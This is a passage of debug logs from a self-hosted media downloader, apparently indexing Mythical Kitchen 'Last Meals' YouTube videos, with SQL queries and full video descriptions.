max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-23 10:00:39Z], 1] 20:47:21.172 [debug] QUERY OK source="media_items" db=2.7ms idle=111.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Brittany Broski's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Brittany Broski Eats Her Last Meal", "c7612fd7-f2bc-464f-a292-681e8098f577", "https://www.youtube.com/watch?v=wGSOMKSRjkc", false, "wGSOMKSRjkc", 1884, false, 20, "/downloads/Last Meals/2023-03-23 Brittany Broski Eats Her Last Meal/Brittany Broski Eats Her Last Meal [wGSOMKSRjkc].mp4", false, false, 1, [], 0, ~U[2023-03-23 10:00:39Z], ~U[2026-03-28 00:47:21Z], ~U[2026-03-28 00:47:21Z], "Today, Josh is cooking Brittany Broski's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Brittany Broski Eats Her Last Meal", "https://www.youtube.com/watch?v=wGSOMKSRjkc", "wGSOMKSRjkc", 1884, false, "/downloads/Last Meals/2023-03-23 Brittany Broski Eats Her Last Meal/Brittany Broski Eats Her Last Meal [wGSOMKSRjkc].mp4", false, 1, ~U[2023-03-23 10:00:39Z]] 20:47:21.173 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=115.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:21.174 [debug] QUERY OK source="media_profiles" db=0.6ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:21.175 [debug] QUERY OK source="media_items" db=0.4ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [20] 20:47:21.175 [info] Kicking off download for media item #20 (wGSOMKSRjkc) 20:47:21.177 [debug] QUERY OK source="tasks" db=0.2ms idle=3.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [23, 20, ~U[2026-03-28 00:47:21Z], ~U[2026-03-28 00:47:21Z]] 20:47:21.177 [debug] Current batch of media processed. Will check again in 1000ms 20:47:22.178 [debug] Current batch of media processed. Will check again in 1000ms 20:47:23.180 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Caleb Hearon eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Caleb's Last Meal\n0:20 The Value Of The Writing Center\n2:02 Have You Thought About Your Last Meal Before?\n3:13 How Often Do You Think About Death?\n5:16 1st Course\n5:41 A Royal Surprise\n7:26 Caleb's Mom Will Stop The Wars\n10:30 Having Kids\n17:18 2nd Course\n19:02 Love For Kansas City\n23:01 Let's Talk About God\n29:25 3rd Course\n31:33 Saying Edgy Stuff\n33:33 Writing A Movie About Dad\n35:41 Depression\n36:55 4th Course\n37:02 Sorry, Mr. Beast\n40:55 I Don't Want More Followers\n42:53 What Gives You Hope?\n45:28 What Do You Think Happens When You Die?\n47:47 Lightning Round\n53:14 Caleb's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 3268, "filename" => "/downloads/Last Meals/2025-09-11 Caleb Hearon Eats His Last Meal/Caleb Hearon Eats His Last Meal [iL7lW-jOI_M].mp4", "id" => "iL7lW-jOI_M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=iL7lW-jOI_M", "playlist_index" => 21, "timestamp" => 1757584878, "title" => "Caleb Hearon Eats His Last Meal", "upload_date" => "20250911"} 20:47:23.180 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=170.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:23.181 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=123.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:23.182 [debug] QUERY OK source="media_items" db=0.2ms idle=124.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-11 10:01:18Z], 1] 20:47:23.184 [debug] QUERY OK source="media_items" db=1.4ms idle=124.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Caleb Hearon eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Caleb's Last Meal\n0:20 The Value Of The Writing Center\n2:02 Have You Thought About Your Last Meal Before?\n3:13 How Often Do You Think About Death?\n5:16 1st Course\n5:41 A Royal Surprise\n7:26 Caleb's Mom Will Stop The Wars\n10:30 Having Kids\n17:18 2nd Course\n19:02 Love For Kansas City\n23:01 Let's Talk About God\n29:25 3rd Course\n31:33 Saying Edgy Stuff\n33:33 Writing A Movie About Dad\n35:41 Depression\n36:55 4th Course\n37:02 Sorry, Mr. Beast\n40:55 I Don't Want More Followers\n42:53 What Gives You Hope?\n45:28 What Do You Think Happens When You Die?\n47:47 Lightning Round\n53:14 Caleb's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Caleb Hearon Eats His Last Meal", "328eb57f-e70d-4e01-8644-c393f94b70f2", "https://www.youtube.com/watch?v=iL7lW-jOI_M", false, "iL7lW-jOI_M", 3268, false, 21, "/downloads/Last Meals/2025-09-11 Caleb Hearon Eats His Last Meal/Caleb Hearon Eats His Last Meal [iL7lW-jOI_M].mp4", false, false, 1, [], 0, ~U[2025-09-11 10:01:18Z], ~U[2026-03-28 00:47:23Z], ~U[2026-03-28 00:47:23Z], "Today, Caleb Hearon eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Caleb's Last Meal\n0:20 The Value Of The Writing Center\n2:02 Have You Thought About Your Last Meal Before?\n3:13 How Often Do You Think About Death?\n5:16 1st Course\n5:41 A Royal Surprise\n7:26 Caleb's Mom Will Stop The Wars\n10:30 Having Kids\n17:18 2nd Course\n19:02 Love For Kansas City\n23:01 Let's Talk About God\n29:25 3rd Course\n31:33 Saying Edgy Stuff\n33:33 Writing A Movie About Dad\n35:41 Depression\n36:55 4th Course\n37:02 Sorry, Mr. Beast\n40:55 I Don't Want More Followers\n42:53 What Gives You Hope?\n45:28 What Do You Think Happens When You Die?\n47:47 Lightning Round\n53:14 Caleb's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Caleb Hearon Eats His Last Meal", "https://www.youtube.com/watch?v=iL7lW-jOI_M", "iL7lW-jOI_M", 3268, false, "/downloads/Last Meals/2025-09-11 Caleb Hearon Eats His Last Meal/Caleb Hearon Eats His Last Meal [iL7lW-jOI_M].mp4", false, 1, ~U[2025-09-11 10:01:18Z]] 20:47:23.184 [debug] QUERY OK source="sources" db=0.1ms idle=126.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:23.184 [debug] QUERY OK source="media_profiles" db=0.0ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:23.184 [debug] QUERY OK source="media_items" db=0.2ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [21] 20:47:23.184 [info] Kicking off download for media item #21 (iL7lW-jOI_M) 20:47:23.185 [debug] QUERY OK source="tasks" db=0.0ms idle=1.4ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [24, 21, ~U[2026-03-28 00:47:23Z], ~U[2026-03-28 00:47:23Z]] 20:47:23.185 [debug] Current batch of media processed. Will check again in 1000ms 20:47:24.186 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Barbie Ferreira eats her last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Barbie's Last Meal\n1:22 Have You Thought About Your Last Meal Before?\n2:20 How Often Do You Think About Death?\n3:03 1st Course\n5:55 How To Do Crying Scenes\n8:17 How To Do Therapy\n11:29 2nd Course\n13:58 Bonding With Mom Through Food\n16:22 Raised By Brazilian Lesbians\n17:40 Being A Plus Sized Model\n20:57 2010s Tumblr\n21:16 3rd Course\n22:41 Euphoria\n26:32 Being Petra Collins' Muse\n27:38 Leaning Into Discomfort\n 30:28 4th Course\n31:30 Barbie's Rebirth\n32:26:00 Grief As Celebration\n33:18:00 Grieving Angus Cloud\n35:33 Fear Of Others Dying\n36:50:00 Lightning Round\n40:35 Barbie's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2494, "filename" => "/downloads/Last Meals/2025-03-20 Euphoria's Barbie Ferreira Eats Her Last Meal/Euphoria's Barbie Ferreira Eats Her Last Meal [iHQkWBUAFko].mp4", "id" => "iHQkWBUAFko", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=iHQkWBUAFko", "playlist_index" => 22, "timestamp" => 1742464858, "title" => "Euphoria's Barbie Ferreira Eats Her Last Meal", "upload_date" => "20250320"} 20:47:24.187 [debug] QUERY OK source="sources" db=0.2ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:24.187 [debug] QUERY OK source="sources" db=0.1ms idle=1001.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:24.187 [debug] QUERY OK source="media_items" db=0.1ms idle=1001.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-20 10:00:58Z], 1] 20:47:24.189 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, 